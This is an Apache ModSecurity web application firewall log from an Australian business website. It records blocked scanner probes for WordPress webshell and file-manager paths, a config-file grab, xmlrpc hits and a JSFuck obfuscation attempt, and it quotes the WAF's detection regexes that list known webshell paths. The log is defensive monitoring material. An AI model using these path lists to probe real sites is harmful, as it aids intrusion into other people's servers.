[Wed Dec 17 16:28:30.792892 2025] [:error] [pid 45530:tid 45542] [client 52.141.46.214:25088] [client 52.141.46.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aUJprm4IsXcKlf7LWf_BuwAAAAc"]
[Wed Dec 17 16:28:36.169737 2025] [:error] [pid 11733:tid 11739] [client 52.141.46.214:25167] [client 52.141.46.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aUJptDzmtBRXExJb1PHQQgAAAQQ"]
[Wed Dec 17 17:30:11.291340 2025] [:error] [pid 45621:tid 45644] [client 170.106.180.139:40852] [client 170.106.180.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUJ4I-VNGQfJ1rR90pQvdAAAANI"]
[Wed Dec 17 19:01:10.598942 2025] [:error] [pid 45531:tid 45586] [client 103.77.107.57:58918] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aUKNdojuE-Fd-sBWjvV5-AAAAFc"]
[Wed Dec 17 19:24:38.443958 2025] [:error] [pid 45621:tid 45641] [client 104.209.173.99:35046] [client 104.209.173.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUKS9uVNGQfJ1rR90pR7AAAAAM8"]
[Wed Dec 17 21:36:46.914433 2025] [:error] [pid 16788:tid 16792] [client 182.44.9.147:35924] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUKx7iEJyT-03u9UZWPI-QAAAkI"]
[Thu Dec 18 02:17:15.598515 2025] [:error] [pid 63337:tid 63350] [client 46.12.103.66:54418] [client 46.12.103.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "![!+ ]\\\\[\\\\]" at ARGS:0. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "173"] [id "213070"] [rev "1"] [msg "COMODO WAF: JSFuck / Hieroglyphy obfuscation detected||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aULzq9Sc2ofHSwVzjx-nZAAAAQs"]
[Thu Dec 18 03:42:59.449965 2025] [:error] [pid 5222:tid 5230] [client 110.166.71.39:35158] [client 110.166.71.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUMHw5PfRQQwR32SSiXZSwAAAAM"]
[Thu Dec 18 05:31:18.376146 2025] [:error] [pid 21012:tid 21027] [client 83.165.117.215:11139] [client 83.165.117.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.165.117.215, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUMhJpp8j5M7lvw_J3RjLgAAAAo"]
[Thu Dec 18 06:49:52.799642 2025] [:error] [pid 23645:tid 23655] [client 193.19.109.186:43199] [client 193.19.109.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUMzkDf_Rx0Y0ao_QJiHbQAAAIg"]
[Thu Dec 18 06:49:55.008105 2025] [:error] [pid 24433:tid 24457] [client 193.19.109.178:55221] [client 193.19.109.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUMzkp4pN9ycmipm8Tgd9QAAARU"]
[Thu Dec 18 06:49:59.234973 2025] [:error] [pid 23556:tid 23577] [client 193.19.109.188:59357] [client 193.19.109.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUMzlxnmLlk3u5yt9kEFgwAAABE"]
[Thu Dec 18 06:50:01.188878 2025] [:error] [pid 24433:tid 24441] [client 193.19.109.196:63625] [client 193.19.109.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUMzmZ4pN9ycmipm8TgeQgAAAQU"]
[Thu Dec 18 06:50:04.795134 2025] [:error] [pid 24542:tid 24559] [client 193.19.109.186:56773] [client 193.19.109.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUMznEtQz4H2oS3NrDYTDgAAAU8"]
[Thu Dec 18 06:50:05.971041 2025] [:error] [pid 23557:tid 23602] [client 193.19.109.162:60969] [client 193.19.109.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUMznRYcs6rFVxbdP_kyugAAAE4"]
[Thu Dec 18 06:50:06.699878 2025] [:error] [pid 25357:tid 25371] [client 193.19.109.189:31629] [client 193.19.109.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUMznoaT7bsEXnJVfJdFEgAAAcw"]
[Thu Dec 18 06:50:07.530168 2025] [:error] [pid 25357:tid 25363] [client 193.19.109.188:46241] [client 193.19.109.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUMzn4aT7bsEXnJVfJdFHAAAAcQ"]
[Thu Dec 18 06:50:08.306966 2025] [:error] [pid 23556:tid 23566] [client 193.19.109.199:25201] [client 193.19.109.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUMzoBnmLlk3u5yt9kEGFAAAAAY"]
[Thu Dec 18 06:50:09.120991 2025] [:error] [pid 24958:tid 24972] [client 193.19.109.198:54751] [client 193.19.109.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUMzockDOrUkd0wNm2EJSAAAAYs"]
[Thu Dec 18 06:50:10.322654 2025] [:error] [pid 23558:tid 23632] [client 193.19.109.193:63011] [client 193.19.109.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUMzouHam9NbgPQa9uY1VwAAANE"]
[Thu Dec 18 06:50:12.019073 2025] [:error] [pid 25357:tid 25373] [client 193.19.109.187:43157] [client 193.19.109.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aUMzo4aT7bsEXnJVfJdFZQAAAc4"]
[Thu Dec 18 06:50:13.695067 2025] [:error] [pid 23557:tid 23589] [client 193.19.109.163:32565] [client 193.19.109.163] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUMzpRYcs6rFVxbdP_kzJQAAAEE"]
[Thu Dec 18 06:50:14.807745 2025] [:error] [pid 25357:tid 25363] [client 193.19.109.174:50817] [client 193.19.109.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUMzpoaT7bsEXnJVfJdFkwAAAcQ"]
[Thu Dec 18 06:50:16.266395 2025] [:error] [pid 24542:tid 24552] [client 193.19.109.206:60957] [client 193.19.109.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUMzqEtQz4H2oS3NrDYTdwAAAUg"]
[Thu Dec 18 06:50:21.006601 2025] [:error] [pid 24958:tid 24983] [client 193.37.33.230:45371] [client 193.37.33.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUMzrMkDOrUkd0wNm2EJvwAAAZY"]
[Thu Dec 18 06:50:22.195494 2025] [:error] [pid 25357:tid 25377] [client 193.19.109.201:21627] [client 193.19.109.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUMzroaT7bsEXnJVfJdGAgAAAdI"]
[Thu Dec 18 06:50:23.823969 2025] [:error] [pid 25357:tid 25379] [client 193.19.109.207:48157] [client 193.19.109.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUMzr4aT7bsEXnJVfJdGJQAAAdQ"]
[Thu Dec 18 06:50:24.987321 2025] [:error] [pid 25357:tid 25365] [client 193.19.109.210:58363] [client 193.19.109.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUMzsIaT7bsEXnJVfJdGOQAAAcY"]
[Thu Dec 18 06:50:27.840601 2025] [:error] [pid 24433:tid 24459] [client 193.19.109.197:33673] [client 193.19.109.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUMzs54pN9ycmipm8TgfoAAAARc"]
[Thu Dec 18 06:50:28.989314 2025] [:error] [pid 23645:tid 23660] [client 193.19.109.197:26451] [client 193.19.109.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUMztDf_Rx0Y0ao_QJiKHQAAAI0"]
[Thu Dec 18 06:50:30.232015 2025] [:error] [pid 25357:tid 25371] [client 193.19.109.183:59473] [client 193.19.109.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUMztoaT7bsEXnJVfJdGgQAAAcw"]
[Thu Dec 18 06:50:32.100448 2025] [:error] [pid 25357:tid 25373] [client 193.19.109.178:23081] [client 193.19.109.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aUMzuIaT7bsEXnJVfJdGmAAAAc4"]
[Thu Dec 18 06:50:32.903388 2025] [:error] [pid 25357:tid 25377] [client 193.19.109.173:56589] [client 193.19.109.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUMzuIaT7bsEXnJVfJdGqwAAAdI"]
[Thu Dec 18 06:50:34.779337 2025] [:error] [pid 23557:tid 23595] [client 193.19.109.187:44973] [client 193.19.109.187] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aUMzuhYcs6rFVxbdP_kz9wAAAEc"]
[Thu Dec 18 06:50:35.570290 2025] [:error] [pid 23557:tid 23593] [client 193.37.33.229:36911] [client 193.37.33.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aUMzuxYcs6rFVxbdP_k0BQAAAEU"]
[Thu Dec 18 06:50:36.361081 2025] [:error] [pid 24958:tid 24961] [client 193.19.109.168:59571] [client 193.19.109.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUMzvMkDOrUkd0wNm2EKNQAAAYA"]
[Thu Dec 18 06:50:51.049254 2025] [:error] [pid 23557:tid 23589] [client 193.19.109.162:38991] [client 193.19.109.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aUMzyxYcs6rFVxbdP_k0sAAAAEE"]
[Thu Dec 18 06:50:58.660731 2025] [:error] [pid 25357:tid 25375] [client 193.19.109.200:44269] [client 193.19.109.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/"] [unique_id "aUMz0oaT7bsEXnJVfJdJEgAAAdA"]
[Thu Dec 18 06:51:14.839692 2025] [:error] [pid 23645:tid 23652] [client 193.19.109.183:33019] [client 193.19.109.183] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/"] [unique_id "aUMz4jf_Rx0Y0ao_QJiL4wAAAIU"]
[Thu Dec 18 06:51:15.599184 2025] [:error] [pid 24542:tid 24549] [client 193.19.109.179:26057] [client 193.19.109.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/"] [unique_id "aUMz40tQz4H2oS3NrDYV2AAAAUU"]
[Thu Dec 18 06:51:49.470145 2025] [:error] [pid 25357:tid 25382] [client 193.19.109.178:39863] [client 193.19.109.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aUM0BYaT7bsEXnJVfJdNiwAAAdc"]
[Thu Dec 18 08:52:21.703760 2025] [:error] [pid 24542:tid 24553] [client 54.39.6.124:50640] [client 54.39.6.124] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "144.6.171.46_5c2b7f5c8c92a4a025844d7f8c836cb713e697e8"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/\\xe0\\xb8\\x8b\\xe0\\xb8\\xb8\\xe0\\xb8\\x9b\\xe0\\xb9\\x80\\xe0\\xb8\\x9b\\xe0\\xb8\\xad\\xe0\\xb8\\xa3\\xe0\\xb9\\x8c\\xe0\\xb8\\xaa\\xe0\\xb8\\xa5\\xe0\\xb9\\x87\\xe0\\xb8\\xad\\xe0\\xb8\\x951234.aspx"] [unique_id "aUNQQUtQz4H2oS3NrDZDCQAAAUk"]
[Thu Dec 18 21:56:57.558122 2025] [:error] [pid 25357:tid 25365] [client 4.190.217.214:13265] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aUQIKYaT7bsEXnJVfJd1YgAAAcY"]
[Thu Dec 18 21:56:57.992359 2025] [:error] [pid 23558:tid 23635] [client 4.190.217.214:13282] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aUQIKeHam9NbgPQa9uYxBAAAANQ"]
[Thu Dec 18 21:56:58.665517 2025] [:error] [pid 12035:tid 12048] [client 4.190.217.214:13192] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aUQIKrcVHrNSHjCo-0qgVwAAAgY"]
[Thu Dec 18 21:56:59.416595 2025] [:error] [pid 24958:tid 24984] [client 4.190.217.214:13304] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/axx.php"] [unique_id "aUQIK8kDOrUkd0wNm2HVnwAAAZc"]
[Thu Dec 18 21:56:59.767178 2025] [:error] [pid 23558:tid 23628] [client 4.190.217.214:13277] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aUQIK-Ham9NbgPQa9uYxBgAAAM0"]
[Thu Dec 18 21:57:00.199164 2025] [:error] [pid 25357:tid 25375] [client 4.190.217.214:13285] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aUQILIaT7bsEXnJVfJd1ZwAAAdA"]
[Thu Dec 18 21:57:00.617413 2025] [:error] [pid 25357:tid 25374] [client 4.190.217.214:13191] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aUQILIaT7bsEXnJVfJd1aAAAAc8"]
[Thu Dec 18 21:57:01.106874 2025] [:error] [pid 25357:tid 25363] [client 4.190.217.214:13208] [client 4.190.217.214] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-mail.php"] [unique_id "aUQILYaT7bsEXnJVfJd1agAAAcQ"]
